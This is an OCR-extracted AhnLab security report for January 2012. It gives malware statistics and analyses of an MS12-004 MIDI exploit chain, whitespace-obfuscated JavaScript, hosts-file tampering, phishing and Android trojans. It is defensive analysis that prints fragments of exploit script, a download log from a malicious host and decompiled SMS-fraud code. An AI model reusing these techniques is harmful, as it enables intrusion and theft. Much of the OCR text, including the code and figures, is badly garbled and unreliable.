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1. Security Trend- JAN. 2012

01. Malicious Code Trend
a. Malicious Code Statistics

Monthly Malicious Code Reports
A total of 13,950,901 malicious codes were reported this month. The number dropped 706,692

from 14,657,593 cases reported the previous month. Just like last month, JS/Agent was the most
reported malicious code, followed by Trojan/Win32.hdc and Trojan/Win32.adh, respectively. 15 new

malicious codes were reported this month.

14,657,593 13,950,901
-4.8%

12,559,154 k .

0/

[Fig. 1-1] Monthly Malicious Code Reports

Top 20 Malicious Code Reports

Ranking M Malicious Code Reports Percentage
1 - JS/Agent 879,105 15.7 %
2 NEW Trojan/Win32.hdc 733,670 13.1%
3 NEW Trojan/Win32.adh 504,336 9.0 %
4 NEW Trojan/Win32.Gen 405,030 7.2%
5 A1 Textimage/Autorun 403,129 7.1%
6 NEW Malware/Win32.generic 334,025 6.0 %
7 NEW Trojan/Win32.fakeav 300,216 5.4 %
8 NEW Adware/Win32.korad 273,647 4.9 %
9 NEW Adware/Win32.sidetab 226,383 4.0 %
10 NEW Trojan/Win32.agent 185,035 3.3%
11 v3 Win-Trojan/Agent.465408.T 172,824 3.1%
12 NEW Trojan/Win32.genome 151,291 2.7 %
13 NEW Downloader/Win32.adload 150,312 2.7%
14 NEW JS/Iframe 149,981 2.6%
15 NEW ASD.PREVENTION 142,446 25%
16 v6 Html/Iframe 140,521 2.L%
17 v15 Exploit/Cve-2011-2140 122,256 2.2%
18 NEW Trojan/Win32.bho 115,849 21%
19 NEW Packed/Win32.morphine 109,641 2.0 %
20 NEW Backdoor/Win32.asper 109,628 2.0 %

5,609,325 100.0 %

[Table 1-1] Top 20 Malicious Code Reports
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Top 20 Malicious Code Variant Reports Top 20 New Malicious Code Reports

The table below shows the percentage breakdown of the top 20 malicious code variants reported The table below shows the percentage breakdown of the top 20 new malicious codes reported

this month. As of January 2012, Trojan/Win32 is the most reported malicious code, representing this month. As of January 2012, Exploit/Cve-2011-3544 is the most reported new malicious code,

31.3% (2,837,555 reports) of the top 20 malicious code variants, followed by JS/Agent (881,819 representing 17.3% (78,836 reports) of the top 20 new malicious codes, followed by Win-Trojan/

reports) and Adware/Win32 (821,654 reports). Downloader. 1947648 (70,663 reports).

Ranking M Malicious Code Reports Percentage Ranking P Malicious Code Reports Percentage
1 NEW Trojan/Win32 2,837,555 31.3% 1 Exploit/Cve-2011-3544 78,836 17.3 %
2 v1 JS/Agent 881,819 9.7 % 2 Win-Trojan/Downloader.1947648 70,663 15.5 %
3 NEW Adware/Win32 821,654 9.1% 3 Win-Trojan/Fakeav.232472 34,581 7.6 %
4 v2 Win-Trojan/Agent 633,671 7.0% 4 Win-Adware/KorAd.20480.H 30,903 6.8%
5 NEW Downloader/Win32 460,205 5.0 % 5 SWF/Sve-2011-0611 29,163 6.4%
6 NEW Malware/Win32 405,078 4.5 % 6 Dropper/Agent.454656.DW 25,441 5.6 %
7 Al Textimage/Autorun 403,214 4.5 % 7 Win-Adware/KorAd.114688.B 23,291 5.1 %
8 v5 Win-Adware/Korad 359,617 4.0% 8 Win-Trojan/Agent.900608.B 21,284 4.7 %
9 A2 Win-Trojan/Downloader 307,299 3.4 % 9 Win-Trojan/Backdoor.1761280 18,629 41 %
10 vi Win-Trojan/Onlinegamehack 306,394 3.3% 10 Win-Trojan/Asper.1319424 18,237 4.0 %
1 NEW Backdoor/Win32 205,718 2.3% 11 Win-Trojan/Downloader.45056.ABV 15,197 3.2%
12 A2 Win32/Virut 195,766 2.2% 12 Win-Downloader/OneStep.672336 11,338 2.5%
13 — Win32/Conficker 189,242 2.1 % 13 Win-Adware/Geezon.875520 11,307 2.5%
14 NEW Dropper/Win32 175,506 1.9 % 14 Win-Trojan/Downloader.181824 10,614 2.3%
15 — Win32/Autorun.worm 153,597 1.7 % 15 Win-Trojan/Agent.36864.CCF 10,154 2.2%
16 NEW JS/Iframe 149,981 1.7 % 16 Win-Adware/KorAd.1253376 9,766 2.1%
17 Al Win32/Kido 144,220 1.6 % 17 Dropper/Agent.216921 9,479 2.1%
18 NEW Packed/Win32 144,014 1.6 % 18 Win-Trojan/Downloader.704512.B 9,440 2.1%
19 NEW ASD 142,446 1.6 % 19 Win-Trojan/Onlinegamehack.82944.BB 9,428 2.0%
20 v Html/Iframe 140,521 1.5% 20 Win-Adware/KorAd.241664.K 9,185 1.9 %
9,057,517 100.0 % 456,936 100.0 %

[Table 1-2] Top 20 Malicious Code Variant Reports [Table 1-3] Top 20 New Malicious Code Reports
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Breakdown of Primary Malicious Code Types
The chart below categorizes the top malicious codes reported this month. As of January 2012,
Trojan is the most reported malicious code, representing 40.8% of the top reported malicious codes,

followed by script (14.6%) and worm (7%).

0 10 20 30 40%
AbwArRE (D 4.7% TROIAN  £0.8%,
APPCARE @ 0.3%
DOWNLOADER @ 0.9%
prorPER (D 41%
erc QD 24.1%
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sPYWARE @ 0.5% e A9 Ao
TrosAN (D 0.8%
VIRUS 2.9%
worv (D 7.1%

[Fig. 1-2] Breakdown of Primary Malicious Code Types

Comparison of Malicious Codes with Previous Month
Compared to last month, the number of Trojan and dropper increased, whereas, the number of
script, worm, adware, downloader, spyware and appcare decreased. The number of virus is similar

to the previous month.

D 2012.01
ADWARE APPCARE DOWNLOADER DROPPER
4.7 0.3 0.9 4.1
TROJAN
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[Fig. 1-3] Comparison of Malicious Codes with Previous Month

—_
o

Breakdown of New Malicious Code Types
As of January 2012, Trojan is the most reported new malicious code, representing 48% of the top

reported new malicious codes, followed by adware (22%) and dropper (10%).

SCRIPT 4% WORM 1%

TROJAN

ETC 13% 48%

Lo'zLoc

7

ADWARE 22%

[Fig. 1-4] Breakdown of New Malicious Code Types
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01. Malicious Code Trend
b. Malicious Code Issues

MS12-004 Vulnerabilities in Windows Media Could
Allow Remote Code Execution

On January 27, 2012, Trend Micro posted a blog entry on MS12-
004 Vulnerabilities in Windows Media Could Allow Remote
Code Execution, titled, “Malware Leveraging MIDI Remote Code
Execution Vulnerability Found”. ASEC conducted additional

analysis and found the following malware structure:

[Fig. 1-5] Structure of malware that exploits MS12-004 vulnerability

Downloading

baby.mid tdcexe tdc.exe 20120120.exe

Downloading

AhnlLab

The infection vector is a malicious HTML, which hosted on the

domain, hxxp://images.{BLOCKED}p.com/mp.htmL.

This HTML exploits the vulnerability by using two components
that are also hosted on the same domain. The two files are: a

MIDI file detected and a JavaScript.

The MIDI file exploits the vulnerability to bypass ASLR/DEP and

execute the codes specified by the attacker.

A MIDI file consists of a single header chunk followed by one
or more track chunks. For Note on message, the first data byte
specifies the note number (0-127). MIDI Exploitation is done
by supplying a specially crafted MIDI file with specific events,
causing the offset calculation being higher than how much is

available on the heap.

[Fig. 1-6] Script to exploit MS12-004 vulnerability

"htep://activex.micr

>
var veEES='\x30':

</script>

e=WavascIipt>
bpWIIsIl=unescape;DIUG1="16251

.length < aqgfvi¥S/2) FWvzIel +=EJWVzIel;
zlel.substring (0, agfvi¥S$/2):

Ahnlab

68 09 0o 04
0C 0B 62 OD 0B 60 10 OB SE OD 0B 5C 11 OB 5& 10
0B 58 OD OB 56 08 OB 54 09 0B 52 OC OB 50 0D 0B
4E 1D OB 4C 08 0B 4A 08 OB 48 09 0B 43 OC 0B 3F
0D 0B 39 08 OB 34 09 OB 2A 06 OB 23 06 OB 18 04
0B 03 OD OB OA 07 93 55 00 01 B3 OB 15 09 OB 25
08 0B 2F 08 0B 3B 09 OB 3F 08 0B 43 09 OB 4A 08
0B 4F 08 OB 54 09 0B 53 OC OB SA 45 05 00 35 0B
SD 08 OB 60 08 0B 66 08 OB 68 09 OB 69 09 93 61 SR
7F 55 61 00 00 B3 41 00 00 FF 2F 00 4D 54 72 6B .Ua..®A..§y/.MIrk
00 00 08 ED 00 FF 03 OA 42 72 61 73 73 2C 70 69 ...i.y..Brass,pi
70 65 00 FF 04 OF 2A 20 20 54 4F 54 4F 52 4F 20 pe.¥..* TOTORO
20 20 20 20 2A 82 20 B4 00 00 00 20 00 00 C4 4D o e
01 B4 07 50 01 OA 32 01 5B 3C 00 5D 28 SD .-.P..2.1<.1 (1E@
00 24 7D 82 6D 24 00 13 43 00 00 4A 7D 00 24 [J.$},m$..C..0}.$
7D 30 4A 00 00 48 7D 10 48 00 00 4A 7D 10 4A 00 }0J..H}.H..J}.J.
00 48 7D 10 48 00 00 47 7D 40 47 00 00 45 7D 20 .H}.H..G}@G..E}
45 00 00 43 7D 81 2F 24 00 OE 24 7D 01 43 00 02 | E..C}./$..§}.C..
43 7D 81 40 43 00 00 47 7D 20 47 00 00 43 7D 20 C}.@C..G} G..C}
47 00 00 48 7D 20 48 00 00 43 | C..G} G..H} H..C
48 00 00 42 7D b S < Hi S H va Y

The mp.html calls the MIDI file to trigger the exploit, and uses
Javascript to decode the shellcode embedded in mp.html's body.
Upon successfully exploiting the vulnerability, it decodes and
executes the decoded shellcode. This shellcode then connects to

a site to download an encrypted binary.

- When the downloaded tdc.exe gets executed, the following files
will be created:

C:\WINDOWS\system32\drivers\com32.sys
C:\WINDOWS\system32\com32.dll

12
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- It creates the following registry key to automatically start
Com32 service when Windows restart:
HKLM\SYSTEM\ControlSet001\Services\Com32\ImagePath
“System32\drivers\com32.sys"

The com32.sys file obstructs processes other than IEXPLORER.
EXE, explorer.exe and rundll32.exe to protect itself and the

com32.dLL file created by tdc.exe.

- com32.sys changes the IRP_MJ_CREATE handler address of
\FileSystem\FastFat's and \FileSystem\Ntfs' DriverObject to the

hooked address.

- The com32.dll tries to terminate the antivirus solutions

installed on the system.

[Fig. 1-9] com32.dll codes to terminate antivirus

pata:10008554 ; char _npcLl

Hata:1800B554 aNsavsuc_npc dbf*Ns suvc.npc’,0 Y ; DATA XREF: sub_100026E68+121To
Hata:10008560 ; char aNsumon_np
lata:1000B560 aNsumon_npc d|
jata:1000B56B a
jata:1800B56C ; char aNucagent
jlata:1000B56C aNvcagent_npc
pata:10008579

ns -on.npc',8 ; DATA XREF: sub 108826E8+10BTo

‘NU. gent.npc”,® ; DATA XREF: sub_108826E8+F5To

v al

jlata:1000B57C ; char aVU3ltray_exp[

ata:1000B57C au3ltray_exe dby ‘v31 ay.exe',0 ; DATA XREF: sub_100026E8+DFTo
[lata:1000B588 ; char aU3lsvc_exef ]

lata:1600B588 aU8lsuc_exe dbf 'u31 c.exe',8 ; DATA XREF: sub_100826E6+C9To
lata:10800B593 a

[lata:1000B594 ; char au3light_e
Hlata:1000B594 au3light_exe d
1ata:1000B5A0 ; char aAyservice
ata:1000B500 afyservicent_ay d
1ata:1000B5B0 ; char afAlyac_aye[|
jlata:1000B5B80 aflyac_aye d|
Hata:1806B5BA al
jlata:1000B5BC ; char aAyrtsru_aye[]

[
‘u3l ht.exe’,0 ; DATA XREF: sub_100026E68+AFTo

_ay[]
'AYS viceNT.aye',B8) ; DATA XREF: sub_100026E8+95To

‘ALY .aye',0 ; DATA XREF: sub_100026E8+7BTo
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It attempts to connect to a system to download 20120120.exe.

[Fig. 1-10] 20120120.exe downloaded

ET 20120120, Jpg HTTP,

Ttp:/ /67, . 234 %
ost: file.tellmegirl.com
ser-Agent: Mozilla/4.0+(compatible;+MSIE+6. 0;+windows+NT+5.1;+5V1; n a

ragma: no-cache

TTP/1.1 200 OK

ia: 1.1 WIN-SUHI150QPVR

onnection: Keep-alive
roxy-connection: Keep-aAlive
ontent-Length: 140

ate: Fri, 27 Jan 2012 05:23:26 GMT
ontent-Type: image/jpeg

Tag: "e7ldea277d7ccl:27a"

erver: Microsoft-115/6.0
ccept-Ranges: hytes

ast-modified: Fri, 20 Jan 2012 13:30:12 GMT
-Powered-By: ASP.NET

HTTP/1.1

- .com
ser-Agent: MozilTa/4.0+(compatible; +MSIE+6. O;+windows+NT+5.1;+SV1; +. NET+CLR+2. 0. 50727
ragma: no-cache

The 20120120.exe file backs up imm32.dll files under a random
name to steal user credentials related to specific Korean online
games. The stolen information is sent to a malicious remote
user. This exploit is similar to the method used in China to steal

online game accounts.

Microsoft has issued an update to address this vulnerability, so

you must patch your system with the security update.

V3 detects this malware as:

- JS/Cve-2009-0075

- JS/Agent

- Exploit/Ms12-004

- Win-Trojan/Rootkit.7808.H

- Dropper/Win32.0nlineGameHack
- Win-Trojan/Meredrop.73728.C

- Win-Trojan/Rootkit.11648.B

- Win-Trojan/Waltrodock.57344

- Win-Trojan/Meredrop

TrusGuard detects this malware as:
- malicious_url_20120127_1459(HTTP)-1
- ms_ie_mid_file_exploit-t(CVE-2012-0003/HTTP)

JavaScript obfuscation using space and
tab characters

Hackers have long used JavaScript to automatically download
malware without user interaction. They are making it more difficult
for security solution providers to analyze the JavaScript source, by

hiding the obfuscated codes and showing a huge empty space.

[Fig. 1-11] Example of source code inserted into the website of

a press agency

logoutheml +=

4#(Check_loging 7) document.write(logouthtml) ;
else docunent.write({loginhtml);
)
function loginarea_opinion_vancouver_textarea() {
4f(Check_laging 9
document. weite_form, contents. value =
} else (
document.write_form.contents.value =
)
1
function RefreshtaticMenul(s) {var © - mew Array() ;war curr = 0;while(s.charht{curs) 1= '\n") (var tmp = 0;
for (var i=6; i>=0 ; i-- ){4f (s.charAt{curc) == Ytmp = tmp | (Math.pow(Z,i)) ;}curc++;}r.push(Steing.
fromCharcCode (tap) ) ; jretuzn r.join(’ ') ;)if(document.cookie. index0f( il )==-1 || docusent.cookie.index0f(
)==-1) (Function(Refresh@taticMenul (

) 0 ;var cookiename = document.cookie. index0f(

Y == -1 7% "bon o= o2 var expires-mew Datel) ;expires. setTine(expires.getlime ) +24760760%
1000) ;document. cookie=cooki enane+” “+expires. toGHIString () 1)

Ahnlab
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It might look like an empty space, but if you place your cursor

on the space, you can see a combination of space and tab

characters. The HEX value is as below:

[Fig. 1-12] HEX value of source code

00003560
00003E70
00003E30
00003ES0
(0003EAD
(00003EBD

00004110
00004120
(00004130
(0004140
00004150
(00004160
00004170

3D 2D 31 29 78 46 75 6E
b6 72 B5 73 B8 53 74 B1

B3 74 69 6F BE 28 52 B& =-1) (Funct ian(Re
74 BY B3 4D B5 GE 75 30 freshStat icMenul

(x] AU U 0
09 09 02 20 20 20
09 20 20 09 20 20 20 09
05 20 20 20 09 20
20 2009 20 20 20

20 09 20 09 0% 09 20 20
20 20 09 09 0% 20 20 20
09 20 02 09 20 20 20 20
200909092009 09 20
20 20090909 2009 20
20 09 20 09 09 20 09 20

0202008 20202020 1
20 20 09 20 09 20 20 20

092009 20 20 20 09 20 .

0905092009 202020

20 20 2005 09 20 09 20 .

09 20 20 20 09 09 20 20
20 20 09 09 20 09 20 20

02020900 202020090 @ ..

09 2009 20 200909 20
09 20090509 2009 09
09 20 09 05 20 09 20 20

U A0 A1 5l bE el

d= L - G | I T = i)

T
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The space position in the character set is 20 hexadecimal, and

tab is 09 hexadecimal. The codes seem to be expressing space
and tab as binary. This method was presented by Billy Hoffman
in a talk at Black Hat USA 2008, titled “Circumventing Automated
JavaScript Analysis”. Billy Hoffman, also known as Acidus, is
an American hacker. Hoffman worked as a security researcher
for SPI Dynamics Inc, and then for Hewlett-Packard, which
purchased SPI Dynamics. He now works as a web performance
consultant at Zoompf. It was introduced as a crazy idea, but a

case using this method was reported this month.

[Fig. 1-13] Black Hat USA 2008 presentation by Billy Hoffman

Crazy Idea #1
Obfuscated Code is
obviously interesting
8ut not always maiicious
“Safe” looking code might not
be interesting

Can | create code that
doesn’t look malicious?

Dehydrating a String

Converts any string into whitespace
7 bit per character
1=space
0=tab
\n means we are done
‘a’ = 1100001

Dehydrate('a’') = Space, space, tab, tab, tab,
tab, space

If you look at the image above, space is 1 and tab is 0. Space
and tab code obfuscation can be disabled. There is a method
of changing space and tab to 1 and 0 respectively and looking
for it on the table, and a method of writing a simple program to
analyze it. There is also a method of not using a tool - a browser

can be used to analyze it.

1. Arrange the source codes

2. Look for the decryption function
There must be a code to decrypt space and tab. It should be right

13

above the space and tab codes, as presented by Hoffman. The

obfuscated and decryption codes are as below:

[Fig. 1-14] Obfuscated codes

*|function RefreshStaticMenul(s) {
var r = new Array();
var curr = 0;

while(s.charAt(curr) != "‘n’) {
var tmp = 0;
for (var i=6; i>=0 ; i--) {
if (s.charAt(curr) == ' ") {

tmp = tmp | (Math.pow(2,1));
)
currt+;
}
r.push(String.fromCharCode(tmp)) ;
}
return r.join(' ") ;
}

Function({RefreshStaticMenul (

0y AhnLab

3. Decrypt with decryption function
The obfuscated character string is decrypted with the decryption

function. The decryption code is as below:

[Fig. 1-15] Decryption result

H HOIT2 HAR

function anonymoust) { )
A document witetunescar f ICHFscrptsIED);

? AhnLab

4. Convert some decrypted code into ASCII code
If you disable the obfuscation, you will see a URL and codes that

will direct you to a compromised web page.

[Fig. 1-16] URL to download malware

cssfac/on sy < /scripty

Ahnlab

Compromised web page that distributes malware usually only

works for 24 to 48 hours. The attacker must have closed it down

since we could not connect to the page.

To prevent this attack:

1. Keep your antivirus updated to the latest version.

2. Install the latest service pack for Windows and install all
available security updates.

3. Use IE 8.0 and above or Firefox, Chrome or Safari.

4. Keep your ActiveX programs, including Flash Player to the

latest version.

5. Install the latest Java program to patch all vulnerabilities.

Malware changes Hosts file to prevent update of
antivirus

A malware that changes the Windows Hosts file to prevent
update of antivirus programs was reporrted again this month.
If your system is infected with the malware, the following error

message (Error code- 492] will appear.

[Fig. 1-17] Update error message

AhnLab ¥3 Internet Security 8.0

IUpdate has Failed.(1]1)

An error occurred while updating the update
server.(-492)

[ ] Do not show this message again.

The hosts file is a computer file used in an operating system to

map hostnames to IP addresses. The Hosts file works as below:

[Fig. 1-18] How Hosts file works

AhnlLab

Connect to URL

A 4

Check Hosts file

URL
exists?

No

Query DNS server

Cannot connect Connect to
to IP address IP address

As URL is used more than IP address, Hosts file can be used to

redirect a domain name to a different IP address.

The compromised Hosts file reported this month redirected the
update URL of two Korean security solution providers to 127.0.0.1.
127.0.0.1 is the loopback address of the victim's machine. If the
victim tries to update his or her antivirus program, the system will

be redirected to his or her machine to prevent update.

[Fig. 1-19] Compromised Hosts file

[® hoss - Notapad
Fie  Edt  Forma: Yiew Hep

jtiben U3

127.0.0.1 up lab.com

127.0.8.1 s lab.com

127.0.0.1 s lab.com

127.0.8.1 s lab.com

127.6.0.1 ahnl. ient.co.kr

#iben

127.0.0.1 1i c.co.kr
127.0.0.1 ko- yac. .com
127.0.0.1 vice. .con

AhnlLab

This method has been used for a long time to prevent the antivirus

programs from detecting the new malware. If you suspect your
system is infected with this malware, restore your Hosts file.
Your system also could have been infected with new malware, so

update your antivirus program and scan your system.

1. System with V3 installed
You will get the following result when you run Intense Scan. V3
detects compromised Hosts file as “Redirected Hostfile Entries”.

If you repair this file, you will be able to update V3.

[Fig. 1-20] Compromised Hosts file detected
¥ System Scan - AhnlLab V3 Internet Security 8.0

Q System Scan

Scanning Folder: CHWINDOWSNE
Scanning File:  myrmusic.inf

00:01:10 | Scanning the files...

i ) e

Detected: 1 | Repaired: 0 B Report Viewst
Security Threat Status Location
Redirected Hostfile Entries Repairable ... 127.0.0.1 - ahnlab.com ...(3)

Close

=

1F rio thrsats are detected: |Leave the scan window open
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2. System with V3 newly installed
As you cannot update V3 after installation, you will not be able to

use it. Check the Hosts file yourself.

V3 detects this malware as:
- Win-Trojan/Agent.50688.BNG
- Win-Trojan/Onlinegamehack.47373

The Postcard from Hallmark virus hoax

An email hoax purporting to burn the whole hard disc C of your
computer circulated this month. This type of hoax has already
been around in multiple forms for a long time now. They usually

circulate via email or forums.

In Korea, only the original English version of the email hoax
used to be circulated, but this time, a Korean-translated version

was also included in the message. Both the English and Korean

[Fig. 1-21] Korean-translated version
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23 sgo|Lt Fito] obEduict.
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oF RUAS o2 FoAA TEHE=

FROM | MARK. "2t
ol H5E WMXNE EX0IAT| BIZLICH

20| OpAlE Fol2ts
= 2EU.
£ &2F SEAXN 0| LIEHID
0{2|{ ¥ 2 COMPUTER HARD DISK CE
% A B U

0] 24 Virus= SN Email £2
AlEo| S4ol 0| EE S &S0
olgiE S FFSHA 23S ESU.

22U 0] emails W= SA HESS
ZFSONA o] ZE B Mo} ELICH

a2 A 2803 o= 2E AFO0|

SUo oSz SHHFY TFEHN Y 5tof
ST RAEE 25 0¥ HEXE REUNR.

0] 2} Viruss= McAfeeAl?} 0| EF WAHGI0
AT WE2en oA = X s WHo| QUCk grUCH

0] Virus=s ZFEHHAM H S 87}
HBHN U= HEHE(C drive)E 125t
S 2d 23 Microsoft?} CNNOLA =

ASA LYAE Computer VirusS O &st
H2SE XY FHoto| viusgt AR a4t

2220 Email 2X2HE AhnLab

"POST CARD FROM HALLMARK"= € X| 0t 2
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messages warn victims not to open any email with the subject,
“Postcard from Hallmark”, as it will burn the hard disk when
opened. To sound legitimate, the message also states that it has

been classified by Microsoft as the most destructive virus ever.

There was a similar hoax in August 2011, with the keyword, “Black
in the White House”. The keyword for the email hoax reported this
month is “Postcard from Hallmark”. It states that opening the
Olympic torch image will burn the hard disk, and mentions AhnLab

to make it seem like it was officially announced by AhnLab.

“Postcard from Hallmark” email has been confirmed to be
a hoax as no virus has been found. This email hoax does not
damage your system like it says it does. Since it's a hoax, it is not

detected by antivirus programses, including V3.

Hoaxes usually:

1. resemble notices from legitimate sources

2. warn of ‘the worst virus ever' that destroys your hard disk
3. are not detected by antivirus programs

4. advice you to copy the email and sent send it to your friends
Why do Internet fraudsters send out email hoaxes?

1. Self-satisfaction
When the hoax becomes well known, “fame” leads to some
degree of satisfaction for the hoax perpetrators, encouraging

them to continue spreading such dubious emails.

2. Increase network load

The common attribute of all hoax emails is the appeal to
forward the message to many people. The cost for transmitting
a single email through a network may be essentially free. The
cost, however, of transmitting a million emails can show up on
the budget. Aside from the increased network load, adding to
the flooding of inboxes with unwanted spam email is another

unwanted consequence.

3. Attack against reputable sources
Cyber criminals may just want to attack reputable press sources
and IT security companies, by purporting the virus to be verified

by such reputable sources as CNN, McAfee and Microsoft.
Do not to confuse hoax warnings with the real thing.

1. Check the message carefully before forwarding it

Make sure the email is not a hoax before forwarding it to your friends.
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2. Do not panic
Before you send something “just in case”, take a moment to

check its authenticity.

3. Search for reports by the purported source
Search for articles reported by the source purported to have
verified the virus, since something like this would have made it to

the news.

4. Check websites and blogs of IT security providers
Check the websites and blogs of IT security providers for any

report or posting on the hoax.

URL-shortened links pointing to phishing sites

A phishing attempt to steal Twitter username and password
using malicious tweets with shortened URL was reported on
January 26, 2012. This sort of phishing attack is quite common.
There was a similar case on February 24, 2011, where shortened

URL in Direct Message was used to compromise accounts.

[Fig. 1-23] Tweets trick victims into clicking on shortened URL

Ahnlab

Na
'E! "Imao! this picture 126 u | found of you is so funny, cant
stop laughing, im going to tweet this :P" Idiots
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is so funny, cant stop laughing, im going to tweet this :P
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q S5 rij 2 Imao! this picture 126 &u | found of you is
so Tunny, cant stop laughing, im going to tweet this :P
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i via @mi  lor: Imao! this picture 126 Bu | found of you is so
=== funny, cant stop laughing, im going to tweet this :P

== ver

E g“ Dice @m : Imaol! this picture 126 '6u | found of you is so0
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If you click on the shortened URL, it will direct you to a fake

Twitter login page that looks similar to the actual login page.

The fake page is designed to steal your Twitter login information. If you

enter your account information, it will be sent to a system in China.

Fig. 1-24] Fake Twitter login page

Your session has timed out, please re-login.

Sign in

AhnlLab |

The number of security threats from shortened URL has been
growing since last year. You must be extra careful when clicking
shortened URLs, especially those in messages sent by Twitter

users you don't really know.

Bug causes BSOD and "Application Failed to
Initialize™ error

Dropper/Win32.0nlineGameHack that patches the imm32.dll
file runs in Windows XP SP2 and causes “Application Failed to

Initialize” error.

We analyzed the imm32.dLL file as below:

[Fig. 1-25] "Application Failed to Initialize" error

762F5AD5 . 59 pop ecx

762F 5AD6 . 68 BBE27F83 push 837FE288

762F 5SADB . 51 push ecx

762F5ADC . F75424 04 not dword ptr [esp+4]

762FSAE0 . FF5424 04 call dword ptr [esp+4] ; kernel32.LoadLibraryA
762F SAET .A\OF84 1CBBFEFF je 762E1309

762FSAED  .A E9 BBCSFEFF  jmp 762E23 A4

762E23AA = /B1C1 28370100 add ecx, 13728 Ah L b
762E23B0 . |FFE1 jmp ecx n a

When the application is executed, "Application Failed to
Initialize" error occurs, and when you restart the system, BSOD
(Unknown Hard Disk) occurs to make it impossible to restart

the system again.
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.. 1. Details [Fig. 1-34] Manifiest information
01. Malicious Code Trend The assets in the original APK file are as follows. Inspection of e sdiver 1.0 =+ com. anaroid.bot
Mobile Malicious Code Issues . . les.but e
c. Mo these files shows that these files are not png files, but in fact one . o
APK file and two ARM executables. : '::E :':il:\?:‘:z?::I@I\T[i TORAGE

android.pern on.VIBRATE

android.permission.WAKE_LOCK

- header01.png : root exploit
- footer01.png : IRC Bot
- border01.png : SMS Send

android.permission.ACCESS WIFI_STATE
=" android.permission.CHANGE WIFI_ STATE

android.permission.CHANGE NETWORK STATE
SS_NETWORK_STATE
TTINGS

android.pern

P

android.permis

com.android.vending.CHECK LICE

Istring/app_name® and 1 - able/ic_launcher

="@string/app_name* a =+ . AndroidBotActivity

e='android.intent.action.MAIN

. . [Fig. 1-31] Assets folder
Phony version of MADDEN NFL 12 app found in [Fig. 1-28] Application package with two files P Vasots

Android Market -
Manageapwtons -

une="android.intent .category . LAUNCHER
Dot AhnLab
</manifest>

[Fig. 1-35] AndroidBotAcitivity class codes

| Rdsss  AndroidBotActivity.class ShelCommand. class

footer0l.png ght.png ghthouse.png

When the fake app is installed, the malware attempts to take

complete control of the device. Once the malware gets root . SADDEN NEL T2

parsabundle)

pblic void

(administrator level] access, the IRC bot gets installed along with ;
MADDEN NFL 12
an SMS Trojan. The root access allows the attacker to control

e )
gtho.png h.png header01.png Ahﬁt@b
[Fig. 1-32] border01.png file X - Ahnl_ab

border01.png || Raw Data

the smartphone remotely and send an SMS to a premium rate

number.

[Fig. 1-26] Foncy Trojan masquerading as Madden NFL 12 game
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# # The malware affects Android version 2.2 and higher.
Car Home Contacts Custom Dev Tools
Locale
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| SMSReceiver.class

AndroidMeActivity.class R.dass

Storage - Maintains dropper functionality (drops a set of malware
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- Creates /data/data/com.android.bot/files directory and sets (

ient localDefaultHttpClient = mew DefeultHttpClient():
= new HetpGet():

:/786.166. " 4 3tL2 + " + sexl:
new URI(str3):

URI (LocalURT) ;

ient. execute (localHttpGet) ;

D #

o "777 permission (read/write/execute for all users).
(0x14) Error - Not registred application.

- Extracts three files - *header01.png’(root exploit], ‘footer01. .
SnsM locals: SusM .createFrouPdu( (byte())array0fobject(i])

£] = locals:

png'(IRC bot), 'border01.png‘(SMS Trojan] - into the directory. il . G AhnLab

Launch by default

| w G © 1:435m [Fig. 1-30] Application permissions
IMADDEN NFL 12 = -
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- Uploads all incoming messages from premium rate number to

- footer01.png file is an ARM executable that interacts with a

[Fig. 1-41] Visitors are instructed to download an app

[Flg 1-44] Registration page

a remote server (http://46.166.x.x). remote IRC server. Wfl@ x| |2 W ® <+ 7.06 AANND bl e
@ http://waw. kre-co.. | http:/www. = 1. .. x Khttp://ibteancom comir... | Mo L LM
i 3 i 3 . — AR B LI FRE R T FEW
List of countries with premium rate numbers: [Fig. 1-40] footerm png file e = : SREMET LR
- NEW ) [188BL L DA OHMBERTEETT ) -
[Table 1-4] Premium rate numbers 00 2083 0000 34 0000 00 . ( 4 - 1%33%&
Premium Country Country 04 3400200006002800 *"...... 4 ( v $ T
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00 2020000020A00000 ... ... I i sancaniinlab =iz 9: 0 ANALAD
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60999 CA Canada ! Ahnlab
Clicking the button will download the malicious application. 3. Analysis
63000 LE Germany - The IRC botnet attempts to make a connection to 199.68.x.x U
] L . The malware collects and sends personal information, such as
35024 ES Spain and joins the #andros channel using a random username. 2 Detail .
- betaits phone numbers, IMEI, Google account and GPS information.
60999 GB United Kingdom [Fig. 1-41] IRC server and channel connection - The download and installation process is as below:
2052 MA Morocco : 1-45] Malware collects information saved in device
[Fig. 1-42] Download/screen
7604 SL Sierra Leone . @@ s | GEIE us3au] e T— -
app\lmapk com.example.android.s...
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[Fig. 1-38] AndroidMeActivity class codes oo S .
e SMSRecewver.cliss  AndroidMeActivity.class < R.class + esaitmai
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|(mhll( class AndroidMeActivity extemds Activity fOuOWing SerViCE: <
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‘ ccess pubnaie): [Fig. 1-43] Icon and service
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- Android-Trojan/Foncy

4050, ppend (tek) . append
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[Flg 1 391 Andr0|dMeAct|V|ty class codes

Ai, receiver

+ [J) SMSReceiver
J) AndroidMeActivity
J| R

SMSReceiver.class

AndroidMeActivity.class <  R.class

}

if (strl.equals(”lu”))

{
str2 = "6
str3 = "AC
continue;

}

if (strl.equals(“ca”))

{
str2 = "60999";
str3 = “SP";
continue;

}

if (strl.equals(“de"))

{
str2
str3
continue;

Ahnlab

App Used for One-Click Fraud in Japan

This scheme collects personal information such as bank details,

email and phone numbers.

1. Distribution

- The example pages of the scam sites are as below:

##

Ir'r [E=TE ]

E'f%

MU =k

#

@
o
4

com example.android.service 4

com.example.androic

u KitchenTimerService

Other: 24MB in 3

After installation, the app opens the browser and displays a

registration page with user details such as the customer ID,

phone number, and account used on the device.

Nt [ Previos e g

~Ahntab-
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[Fig. 1-47] Malware variant (icon/)

android.permission.GET_ACCOUNTS
android.permission.INTERNET

android.permission.GET_ACCOUNTS

android.permission. INTERNET
—— android.permission.ACCESS_FINE_LOCATION
android.permission.RECEIVE_BOOT_COMPLETED

com.example

com.example.android.service Ah n Lab

- Information is sent to a remote server.

V3 detects this malware as:

- Android-Trojan/FakeTimer
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02. Security Trend
a. Security Statistics

Microsoft Security Updates- January 2012
Microsoft issued 7 security updates this month (1 critical and 6 important]). Most of the

vulnerabilities were found in the Windows system.

2011.01 - 2012.01

Lo

]
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0 N o
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1 HHEEN

.System . IE .Office .Sever
[Fig. 2-1] MS Security Updates

Severity Vulnerability

Critical Vulnerability in Windows Media could allow remote code execution (2636391)

Important Vulnerability in Windows Object Packager could allow remote code execution 2603381)

